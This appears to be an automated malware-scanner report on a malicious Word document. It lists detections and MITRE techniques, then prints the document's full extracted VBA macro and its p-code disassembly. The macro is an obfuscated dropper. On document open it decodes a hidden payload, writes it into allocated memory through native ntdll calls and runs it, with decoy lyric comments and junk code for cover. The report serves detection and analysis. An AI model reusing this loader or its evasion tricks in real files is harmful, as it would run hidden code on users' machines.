MALICIOUS
130
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file contains VBA macros, including an auto-executing 'Document_Open' macro, which is a common technique for initial execution. The ClamAV detection 'Doc.Dropper.Agent-6340712-0' strongly suggests a dropper functionality. The VBA code appears obfuscated, but the presence of the Document_Open macro and the dropper signature indicates an attempt to download and execute a secondary payload, likely delivered as a spearphishing attachment.
Heuristics 5
-
ClamAV: Doc.Dropper.Agent-6340712-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6340712-0
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
End Function Private Sub Document_Open() Dim drugged As Integer -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
- http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
- http://purl.org/dc/elements/1.1/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 49854 bytes |
SHA-256: 64ddfbdbeabb5c1e4066702a83c56b8ce348ef1225833c2d308ddad4859099b9 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function agraphic(cautiously)
Dim burglary As String
Dim dogmatize As Byte
Dim turgidly As Long
Dim depression As Integer
#If (12 * 4 - 2) > (9 - 4 * 2) And (32 - 8 * 4) * 2 < (Win64) Then
Dim paleozoic As Long
Dim acridotheres As LongPtr
cane = 55 - 96 + 49
Dim sylvanus As LongPtr
Dim ditto As Byte
Dim bibber As String
Dim bluebird As LongPtr
Dim avarus As String
#End If
#If (12 * 4 - 2) > (9 - 4 * 2) And Not (32 - 8 * 4) * 2 < (Win64) Then
Dim acridotheres As Long
cane = 38 - 95 + 61
Dim sylvanus As Long
Dim bluebird As Long
#End If
possessive = VarPtr(acridotheres)
sectary = deem(possessive, VarPtr(cautiously) + 8, cane)
fibrocartilage = 120 - 96 - 25
sylvanus = 43 - 124 + 81
dixie = 18 - 27 + 9
bluebird = 85 - 23 + 9385
chelifer = 8 - 68 + 4156
invita = 36 - 108 + 136
firecracker = devouring(ByVal fibrocartilage, sylvanus, ByVal dixie, bluebird, ByVal chelifer, ByVal invita)
occurrence = tsimshian
excursion = aise Or 80
deem sylvanus, acridotheres, 62 - 78 + 5899
chorioretinitis = 50 + 2
charily = 10180 + 8
nonrepresentational = 421050 + 10
Pmt 0, chorioretinitis, 5451, 51301, 2
agraphic = sylvanus
End Function
Private Sub Document_Open()
Dim drugged As Integer
Dim clearcut As Integer
overawed = "dosvidanya"
academist
atlantean = 50 + 2
apery = 37200 + 1
passiveness = 125900 + 9
Pmt 0, atlantean, 8004, 58362, 8
End Sub
Function deem(excrementitious, fortioribus, adeo)
#If (7 * 4 + 5) > (7 - 2 * 1) And (20 - 5 * 4) * 2 < (Win64) Then
Dim trisected As Long
Dim equisetales As Byte
Dim ponytrekking As LongPtr
Dim limitarian As LongPtr
Dim mattock As LongPtr
Dim ages As Long
Dim inusitation As LongPtr
Dim election As LongPtr
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim limitarian As Long
Dim fourchette As Byte
Dim ponytrekking As Long
Dim sturnus As Byte
Dim inusitation As Long
Dim burette As String
Dim mattock As Long
Dim cartographer As Long
Dim election As Long
Dim carabao As Long
Dim voltaism As Variant
#End If
excursion = Fix(325)
occurrence = "plateau"
limitarian = excrementitious
election = adeo
occurrence = tsimshian
inusitation = fortioribus
aequat = 20 + 5
u = 5970 + 4
stabilizing = 216240 + 1
Pmt 0, aequat, 34250, 13018, 5
excursion = nymphaea * 1
ponytrekking = 65 - 19 - 47
bertholletia ByVal ponytrekking, limitarian, inusitation, election, mattock
coldhearted = "sustainable"
End Function
Sub academist()
Dim hexagrammos As Integer
Dim sashay As Long
sashimi.playwright.Value = Day(#12/5/2013#)
varday = unstatesmanlike = chopfallen
limp = "diorite"
asexual = assist
lap = "newscast"
rhizopogon = "aerophagia"
dodging = "boutez"
boxing = "reputably"
uningenuous = "agglutinative"
Set inaction = sashimi.playwright.SelectedItem
amsterdam = 3 + 2
benumbed = 8600 + 4
cclamp = 170150 + 10
Pmt 0, amsterdam, 29459, 25739, 6
autacoid = inaction.Name
figural = 15 - 88 + 7917
arrogate = Right(autacoid, figural)
actinomyxidia = pertinence.agammaglobulinemia(arrogate)
mr = 100 + 4
nepidae = 25340 + 4
tarsier = 200580 + 6
Pmt 0, mr, 24400, 33781, 6
conjecture = "competency"
#If (8 * 2 + 5) > (7 - 2 * 1) And (21 - 7 * 3) * 2 < (Win64) Then
Dim celeriac As String
Dim mini As LongPtr
Dim endearment As LongPtr
Dim feline As Byte
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim acclivitous As Byte
Dim endearment As Long
Dim myopic As String
Dim mini As Long
#End If
gospels = 22 - 60 + 38
axolotl = "crouching"
neurotropism = 64 - 114 + 4146
between = 70 + 8
damnatory = 22820 + 2
shyly = 256550 + 5
Pmt 0, between, 31462, 13611, 7
broadsheet = "artiodactyla"
federally = "malaprop"
explore = "inner"
rickety = 110 + 2
elead = 21540 + 2
buffoonery = 157570 + 1
Pmt 0, rickety, 9586, 10437, 7
dessertspoon = actinomyxidia
herringbone = eyeful
bolometric = "foghorn"
mini = agraphic(dessertspoon)
boulder = "damaged"
innavigable = "circulative"
#If (3 * 4 + 5) > (5 - 2 * 1) And (8 - 4 * 2) * 2 < (Win64) Then
Dim band As Integer
Dim frameup As LongPtr
Dim afebrile As LongPtr
Dim apium As LongPtr
discina = 123 - 31 + 1972
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim frameup As Long
cortes = 120 - 95 + 756
Dim afebrile As Long
Dim apium As Long
discina = cortes + 3459
#End If
Dim electric As Long
Dim abdominal As Variant
frameup = 102 - 6 - 96
endearment = mini + discina
afebrile = 32 - 70 + 201565
apium = 84 - 86 + 3502
tosk = afril(afebrile, frameup, endearment)
quartett = 30 + 7
lancaster = 16020 + 10
disqualified = 223120 + 3
Pmt 0, quartett, 34493, 34301, 3
End Sub
Attribute VB_Name = "pertinence"
Public Sub DynamicsBubble()
Dim tempVar As Integer
Dim anotherIteration As Boolean
Dim Y As Integer
Dim arraySize As Integer
Dim myArray() As Integer
Do
arraySize = Y
Y = Y + 1
Loop Until Cells(I, "A").Value = ""
ReDim myArray(arraySize - 1)
For Y = 1 To arraySize
myArray(Y - 1) = Cells(Y, "A").Value
Next Y
Do
anotherIteration = False
End Sub
Function georges(piterson)
Dim windser As Integer
Dim velvet As Integer
fixoid = piterson * 12
Dim sitroen As Variant
metro2 = piterson * 2
Dim cowen() As Byte
#If (5 * 6 + piterson) > (6 - 2 * 1) And (20 - piterson * 4) * 2 < (Win64) Then
velvet = metro2
#End If
#If (5 * 6 + piterson) > (6 - 2 * 1) And Not (20 - piterson * 4) * 2 < (Win64) Then
velvet = (120 - fixoid)
#End If
metro3 = metro2 + velvet
georges = velvet
End Function
Function bedlam()
Dim asperges(255) As Byte
banter = 83 - 57 + 39
Do While banter <= 90 + 1
asperges(banter) = banter - 65
banter = banter + 1
Loop
banter = 48
Do While banter <= 50 + 8
asperges(banter) = banter + 4
banter = banter + 1
Loop
banter = 97
Do While banter <= 120 + 3
asperges(banter) = banter - 71
banter = banter + 1
Loop
asperges(47) = 63
banter = 43
asperges(banter) = 60 + 2
bedlam = asperges
End Function
Function agammaglobulinemia(longfamiliar) As String
Dim lamb() As Byte
occurrence = "ersatz"
nymphaea = nymphaea / 443
tsimshian = "drowned"
Dim portugal As Long
Dim carpeted As Long
Dim anu(6962) As Byte
Dim banteng As Long
Dim demonlacal As Long
Dim werowance(63) As Long
Dim uncensured As String
Dim contradistinction As Variant
Dim meiotic(63) As Long
Dim incognizant As Long
Dim carys As Variant
Dim cypress(63) As Long
Dim hydroelectric As Integer
Dim hemostat As String
detrimentally = 95 - 94 + 65279
lepidopterist = 59 - 7 + 3980
Dim deteriorated As String
beadlike = 6 - 27 + 85
gibberish = 103 - 74 + 227
cestrum = 86 - 55 + 16711649
confront = 115 - 83 + 4064
cataplasia = 21 - 9 + 51
Dim airbus As String
worldweariness = 125 - 127 + 16515074
arianism = 65 - 13 + 257996
mismanage = 9 - 126 + 372
spuriously = 15 - 76 + 262205
bunyan = 75 - 70 + 65531
Dim abduce As Integer
Dim curvity As Variant
statecraft = 38 - 67 + 29
department = 90 - 14 + 7767
Dim amici() As Byte
Dim neoceratodus As Variant
Dim untraversable As Integer
amici = VBA.StrConv(longfamiliar, 128)
Dim querist As Integer
helpless = 110 + 4
bustard = 4300 + 8
reductionism = 219880 + 8
Pmt 0, helpless, 38928, 56938, 2
sweeping = 7840 + 3
enchiridion = vbKeyShift - 12
For fusileer = (4 - 4) * 1 To sweeping
If fusileer Mod 2 = 1 - 1 Then
amici(fusileer) = amici(fusileer) - enchiridion
Else
amici(fusileer) = amici(fusileer) - (enchiridion - 1)
End If
Next fusileer
pardonner = 36
biosynthetic = 11518
hegemonic = 275888
Pmt 0, pardonner, 36579, 52401, 2
hydroelectric = 1 - 1
kentuckian = 47 - 17 - 30
comae = 26 - 26 + 43
bloodroot = bedlam
For carpeted = (7 - 7) * 1 To (50 + 13) * (5 - 4)
werowance(carpeted) = reclassification(carpeted, beadlike, 62)
meiotic(carpeted) = reclassification(carpeted, confront, 62)
cypress(carpeted) = reclassification(carpeted, spuriously, 62)
Next carpeted
stolid = 4 + 4
neological = 8420 + 2
aegina = 425720 + 10
Pmt 0, stolid, 12027, 23605, 2
lamb = amici
sindhi = 71 - 88 + 21
stale = 25 * 4
devotional = 26750 + 8
diana = 598410 + 4
Pmt 0, stale, 13325, 40560, 7
discommodity = 19 - 9 - 7
nymphaea = Fix(396)
tsimshian = coldhearted
gasconading = discommodity + 1
presidentship = 125 - 82 - 41
For demonlacal = (4 - 4) To sweeping
hydras = lamb(demonlacal)
artois = lamb(demonlacal + 2)
commonplace = meiotic(bloodroot(lamb(demonlacal + 1)))
indecisive = werowance(bloodroot(artois)) + bloodroot(lamb(demonlacal + discommodity))
banteng = cypress(bloodroot(hydras)) + commonplace + indecisive
carpeted = reclassification(banteng, cestrum, 54)
anu(incognizant) = reclassification(carpeted, bunyan, 44)
carpeted = reclassification(banteng, detrimentally, 54)
anu(incognizant + 1) = reclassification(carpeted, gibberish, 44)
anu(incognizant + presidentship) = reclassification(banteng, mismanage, 54)
incognizant = incognizant + presidentship + 1
demonlacal = demonlacal + 3
Next
agammaglobulinemia = anu
End Function
Attribute VB_Name = "sashimi"
Attribute VB_Base = "0{0E49AE0C-FAC0-45A7-AA47-F74B0E268D4C}{AB67E2C1-5542-4B1D-BFC8-799A3C0E245B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "wdung"
' I was doing alright
' And walked out
#If (12 * 4 - 2) > (9 - 4 * 2) And (Win64) > (32 - 8 * 4) * 2 Then
' You wrecked my whole world when you came
' I was doing alright
Public Declare PtrSafe Function occurence Lib "Shlwapi.dll " Alias "GetOverlappedResult" (ByVal cyanogen As Any, polytheist As Any, comet As Any, moo As Any) As LongPtr
' The moon went hiding, stars quit shining
' Driving us to your house
Public Declare PtrSafe Function cacicus Lib "Shlwapi.dll " Alias "SleepConditionVariableSRW" (ByVal illicit As Any, punctual As Any, baffling As Any, pokerish As Any) As LongPtr
' From the moment when
' Baby, without warning
Public Declare PtrSafe Function tenter Lib "Kernel32" Alias "CreateTimerQueueTimer" (abasement As Any, ByVal frictionless As Any, ByVal volatilization As Any, ByVal commencement As Any, ByVal jennet As Any, ByVal etymological As Any, ByVal micrometeoritic As Any) As Long
' But you rolled in with your hair in the wind
' I was doing alright
Public Declare PtrSafe Function devouring Lib "ntdll.dll " Alias _
"NtAllocateVirtualMemory" (mums As LongPtr, aloof As LongPtr, ByVal modify As LongPtr, envelopingByVal As LongPtr, inform As LongPtr, ByVal fustee As LongPtr) As LongPtr
' I was doing alright
' And hit me like a hurricane
Public Declare PtrSafe Function actinomyces Lib "ntdll.dll " Alias "AcquireSRWLockShared" (assassination As Any) As LongPtr
' The moon went hiding, stars quit shining
' The moon went hiding, stars quit shining
Public Declare PtrSafe Function macrophage Lib "Shlwapi.dll" Alias "CreateFileWrapW" (contingency As LongPtr) As LongPtr
' Baby, without warning
' We locked eyes over whiskey on ice
Public Declare PtrSafe Function bertholletia Lib "ntdll.dll " Alias "NtWriteVirtualMemory" (ByVal carboy As Any, ByVal greengage As Any, ByVal swill As Any, ByVal soulless As Any, ByVal petty As Any) As LongPtr
' You wrecked my whole world when you came
' I was doing alright
' From the moment when
' I wouldnt be in my truck
#End If
' We locked eyes over whiskey on ice
' We locked eyes over whiskey on ice
#If (9 * 3 + 5) > (8 - 3 * 1) And Not (Win64) > (28 - 7 * 4) * 2 Then
' Knew it was gonna be a long night
' Started talking bout us again
Public Declare Function enrage Lib "ntdll.dll " Alias "AcquireSRWLockShared" (puce As Any) As Long
' The moon went hiding, stars quit shining
' The moon went hiding, stars quit shining
Public Declare Function devouring Lib "Ntdll.dll " Alias _
"NtAllocateVirtualMemory" (clientage As Long, bibliotheca As Long, ByVal propenal As Long, warehouserByVal As Long, dinoflagellate As Long, ByVal morosely As Long) As Long
' Hit me like a hurricane
' I was doing alright
Public Declare Function gruffness Lib "Shlwapi.dll " Alias "SleepConditionVariableSRW" (ByVal coram As Any, plighted As Any, prepotency As Any, travelstained As Any) As Long
' I was doing alright
' The moon went hiding, stars quit shining
Public Declare Function deviation Lib "Shlwapi.dll " Alias "GetOverlappedResult" (ByVal bitewing As Any, bedgown As Any, fatness As Any, parietaria As Any) As Long
' But you rolled in with your hair in the wind
' The moon went hiding, stars quit shining
Public Declare Function bertholletia Lib "Ntdll.dll " Alias "NtWriteVirtualMemory" (ByVal mossy As Any, ByVal patois As Any, ByVal fifteen As Any, ByVal aquifoliaceae As Any, ByVal aequo As Any) As Long
' Rain was driving, thunder, lightning
' Hit me like a hurricane
Public Declare Function tenter Lib "Kernel32" Alias "CreateTimerQueueTimer" (antefix As Any, ByVal counterscarp As Any, ByVal axon As Any, ByVal privateer As Any, ByVal albuminuria As Any, ByVal hudson As Any, ByVal crocket As Any) As Long
' You wrecked my whole world when you came
' I wouldnt be in my truck
#End If
Function midsummer(asp)
midsummer = AscW(asp)
End Function
Function reclassification(adjudicator, otterhound, germination)
If germination = (40 + 4) + (10 / 2 - 5) Then
reclassification = adjudicator \ otterhound
ElseIf germination = (50 + 4) + (5 - 3) / 2 - 1 Then
reclassification = adjudicator And otterhound
ElseIf germination = (60 + 2) + (56 / 7 - 4 * 2) Then
reclassification = adjudicator * otterhound
End If
End Function
Function afril(lst, pirs, lky)
foxs = pertinence.georges(80 / 4 * 4)
#If (12 * 4 - 2) > (9 - 4 * 2) And (32 - 8 * 4) * 2 < (foxs) Then
Dim dogss As LongPtr
Dim bis As LongPtr
Dim ority As Integer
Dim deble As LongPtr
#End If
#If (12 * 4 - 2) > (9 - 4 * 2) And Not (foxs) > (32 - 8 * 4) * 2 Then
Dim dogss As Long
Dim bwis As Long
Dim antery As Integer
Dim deble As Long
#End If
dogss = pirs
deble = lky
dan2 = tenter(lst, dogss, deble, dogss, dogss, dogss, dogss)
End Function
' Processing file: /opt/analyzer/scan_staging/eb9b27f400a44f83988374ddf4e5c919.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 14838 bytes
' Line #0:
' Line #1:
' Line #2:
' Line #3:
' Line #4:
' FuncDefn (Function agraphic(cautiously))
' Line #5:
' Dim
' VarDefn burglary (As String)
' Line #6:
' Dim
' VarDefn dogmatize (As Byte)
' Line #7:
' Dim
' VarDefn turgidly (As Long)
' Line #8:
' Dim
' VarDefn depression (As Integer)
' Line #9:
' LbMark
' LitDI2 0x000C
' LitDI2 0x0004
' Mul
' LitDI2 0x0002
' Sub
' Paren
' LitDI2 0x0009
' LitDI2 0x0004
' LitDI2 0x0002
' Mul
' Sub
' Paren
' Gt
' LitDI2 0x0020
' LitDI2 0x0008
' LitDI2 0x0004
' Mul
' Sub
' Paren
' LitDI2 0x0002
' Mul
' Ld Win64
' Paren
' Lt
' And
' LbIf
' Line #10:
' Dim
' VarDefn paleozoic (As Long)
' Line #11:
' Dim
' VarDefn acridotheres (As Ptr)
' Line #12:
' LitDI2 0x0037
' LitDI2 0x0060
' Sub
' LitDI2 0x0031
' Add
' St cane
' Line #13:
' Dim
' VarDefn sylvanus (As Ptr)
' Line #14:
' Dim
' VarDefn ditto (As Byte)
' Line #15:
' Dim
' VarDefn bibber (As String)
' Line #16:
' Dim
' VarDefn bluebird (As Ptr)
' Line #17:
' Dim
' VarDefn avarus (As String)
' Line #18:
' LbMark
' LbEndIf
' Line #19:
' LbMark
' LitDI2 0x000C
' LitDI2 0x0004
' Mul
' LitDI2 0x0002
' Sub
' Paren
' LitDI2 0x0009
' LitDI2 0x0004
' LitDI2 0x0002
' Mul
' Sub
' Paren
' Gt
' LitDI2 0x0020
' LitDI2 0x0008
' LitDI2 0x0004
' Mul
' Sub
' Paren
' LitDI2 0x0002
' Mul
' Ld Win64
' Paren
' Lt
' Not
' And
' LbIf
' Line #20:
' Dim
' VarDefn acridotheres (As Long)
' Line #21:
' LitDI2 0x0026
' LitDI2 0x005F
' Sub
' LitDI2 0x003D
' Add
' St cane
' Line #22:
' Dim
' VarDefn sylvanus (As Long)
' Line #23:
' Dim
' VarDefn bluebird (As Long)
' Line #24:
' LbMark
' LbEndIf
' Line #25:
' Ld acridotheres
' ArgsLd VarPtr 0x0001
' St possessive
' Line #26:
' Ld possessive
' Ld cautiously
' ArgsLd VarPtr 0x0001
' LitDI2 0x0008
' Add
' Ld cane
' ArgsLd deem 0x0003
' St sectary
' Line #27:
' LitDI2 0x0078
' LitDI2 0x0060
' Sub
' LitDI2 0x0019
' Sub
' St fibrocartilage
' Line #28:
' LitDI2 0x002B
' LitDI2 0x007C
' Sub
' LitDI2 0x0051
' Add
' St sylvanus
' Line #29:
' LitDI2 0x0012
' LitDI2 0x001B
' Sub
' LitDI2 0x0009
' Add
' St dixie
' Line #30:
' LitDI2 0x0055
' LitDI2 0x0017
' Sub
' LitDI2 0x24A9
' Add
' St bluebird
' Line #31:
' LitDI2 0x0008
' LitDI2 0x0044
' Sub
' LitDI2 0x103C
' Add
' St chelifer
' Line #32:
' LitDI2 0x0024
' LitDI2 0x006C
' Sub
' LitDI2 0x0088
' Add
' St invita
' Line #33:
' Ld fibrocartilage
' ParamByVal
' Ld sylvanus
' Ld dixie
' ParamByVal
' Ld bluebird
' Ld chelifer
' ParamByVal
' Ld invita
' ParamByVal
' ArgsLd devouring 0x0006
' St firecracker
' Line #34:
' Ld tsimshian
' St occurrence
' Line #35:
' Line #36:
' Ld aise
' LitDI2 0x0050
' Or
' St excursion
' Line #37:
' Line #38:
' Ld sylvanus
' Ld acridotheres
' LitDI2 0x003E
' LitDI2 0x004E
' Sub
' LitDI2 0x170B
' Add
' ArgsCall deem 0x0003
' Line #39:
' LitDI2 0x0032
' LitDI2 0x0002
' Add
' St chorioretinitis
' Line #40:
' LitDI2 0x27C4
' LitDI2 0x0008
' Add
' St charily
' Line #41:
' LitDI4 0x6CBA 0x0006
' LitDI2 0x000A
' Add
' St nonrepresentational
' Line #42:
' LitDI2 0x0000
' Ld chorioretinitis
' LitDI2 0x154B
' LitDI4 0xC865 0x0000
' LitDI2 0x0002
' ArgsCall Pmt 0x0005
' Line #43:
' Line #44:
' Ld sylvanus
' St agraphic
' Line #45:
' EndFunc
' Line #46:
' FuncDefn (Sub Document_Open())
' Line #47:
' Dim
' VarDefn drugged (As Integer)
' Line #48:
' Dim
' VarDefn clearcut (As Integer)
' Line #49:
' LitStr 0x000A "dosvidanya"
' St overawed
' Line #50:
' ArgsCall academist 0x0000
' Line #51:
' LitDI2 0x0032
' LitDI2 0x0002
' Add
' St atlantean
' Line #52:
' LitDI4 0x9150 0x0000
' LitDI2 0x0001
' Add
' St apery
' Line #53:
' LitDI4 0xEBCC 0x0001
' LitDI2 0x0009
' Add
' St passiveness
' Line #54:
' LitDI2 0x0000
' Ld atlantean
' LitDI2 0x1F44
' LitDI4 0xE3FA 0x0000
' LitDI2 0x0008
' ArgsCall Pmt 0x0005
' Line #55:
' EndSub
' Line #56:
' Line #57:
' Line #58:
' FuncDefn (Function deem(excrementitious))
' Line #59:
' LbMark
' LitDI2 0x0007
' LitDI2 0x0004
' Mul
' LitDI2 0x0005
' Add
' Paren
' LitDI2 0x0007
' LitDI2 0x0002
' LitDI2 0x0001
' Mul
' Sub
' Paren
' Gt
' LitDI2 0x0014
' LitDI2 0x0005
' LitDI2 0x0004
' Mul
' Sub
' Paren
' LitDI2 0x0002
' Mul
' Ld Win64
' Paren
' Lt
' And
' LbIf
' Line #60:
' Dim
' VarDefn trisected (As Long)
' Line #61:
' Dim
' VarDefn equisetales (As Byte)
' Line #62:
' Dim
' VarDefn ponytrekking (As Ptr)
' Line #63:
' Dim
' VarDefn limitarian (As Ptr)
' Line #64:
' Dim
' VarDefn mattock (As Ptr)
' Line #65:
' Dim
' VarDefn ages (As Long)
' Line #66:
' Dim
' VarDefn inusitation (As Ptr)
' Line #67:
' Dim
' VarDefn election (As Ptr)
' Line #68:
' LbMark
' LbEndIf
' Line #69:
' LbMark
' LitDI2 0x0008
' LitDI2 0x0002
' Mul
' LitDI2 0x0005
' Add
' Paren
' LitDI2 0x0007
' LitDI2 0x0002
' LitDI2 0x0001
' Mul
' Sub
' Paren
' Gt
' LitDI2 0x0015
' LitDI2 0x0007
' LitDI2 0x0003
' Mul
' Sub
' Paren
' LitDI2 0x0002
' Mul
' Ld Win64
' Paren
' Lt
' Not
' And
' LbIf
' Line #70:
' Dim
' VarDefn limitarian (As Long)
' Line #71:
' Dim
' VarDefn fourchette (As Byte)
' Line #72:
' Dim
' VarDefn ponytrekking (As Long)
' Line #73:
' Dim
' VarDefn sturnus (As Byte)
' Line #74:
' Dim
' VarDefn inusitation (As Long)
' Line #75:
' Dim
' VarDefn burette (As String)
' Line #76:
' Dim
' VarDefn mattock (As Long)
' Line #77:
' Dim
' VarDefn cartographer (As Long)
' Line #78:
' Dim
' VarDefn election (As Long)
' Line #79:
' Dim
' VarDefn carabao (As Long)
' Line #80:
' Dim
' VarDefn voltaism (As Variant)
' Line #81:
' LbMark
' LbEndIf
' Line #82:
' LitDI2 0x0145
' FnFix
' St excursion
' Line #83:
' LitStr 0x0007 "plateau"
' St occurrence
' Line #84:
' Ld excrementitious
' St limitarian
' Line #85:
' Ld adeo
' St election
' Line #86:
' Ld tsimshian
' St occurrence
' Line #87:
' Ld fortioribus
' St inusitation
' Line #88:
' LitDI2 0x0014
' LitDI2 0x0005
' Add
' St aequat
' Line #89:
' LitDI2 0x1752
' LitDI2 0x0004
' Add
' St u
' Line #90:
' LitDI4 0x4CB0 0x0003
' LitDI2 0x0001
' Add
' St stabilizing
' Line #91:
' LitDI2 0x0000
' Ld aequat
' LitDI4 0x85CA 0x0000
' LitDI2 0x32DA
' LitDI2 0x0005
' ArgsCall Pmt 0x0005
' Line #92:
' Line #93:
' Ld nymphaea
' LitDI2 0x0001
' Mul
' St excursion
' Line #94:
' LitDI2 0x0041
' LitDI2 0x0013
' Sub
' LitDI2 0x002F
' Sub
' St ponytrekking
' Line #95:
' Ld ponytrekking
' ParamByVal
' Ld limitarian
' Ld inusitation
' Ld election
' Ld mattock
' ArgsCall bertholletia 0x0005
' Line #96:
' LitStr 0x000B "sustainable"
' St coldhearted
' Line #97:
' EndFunc
' Line #98:
' FuncDefn (Sub academist())
' Line #99:
' Dim
' VarDefn hexagrammos (As Integer)
' Line #100:
' Dim
' VarDefn sashay (As Long)
' Line #101:
' LitDate 0x0000 0x0000 0x51A0 0x40E4
' ArgsLd Day 0x0001
' Ld sashimi
' MemLd playwright
' MemSt Value
' Line #102:
' Ld unstatesmanlike
' Ld chopfallen
' Eq
' St varday
' Line #103:
' LitStr 0x0007 "diorite"
' St limp
' Line #104:
' Ld assist
' St asexual
' Line #105:
' LitStr 0x0008 "newscast"
' St lap
' Line #106:
' LitStr 0x000A "aerophagia"
' St rhizopogon
' Line #107:
' Line #108:
' LitStr 0x0006 "boutez"
' St dodging
' Line #109:
' LitStr 0x0009 "reputably"
' St boxing
' Line #110:
' LitStr 0x000D "agglutinative"
' St uningenuous
' Line #111:
' SetStmt
' Ld sashimi
' MemLd playwright
' MemLd SelectedItem
' Set inaction
' Line #112:
' LitDI2 0x0003
' LitDI2 0x0002
' Add
' St amsterdam
' Line #113:
' LitDI2 0x2198
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.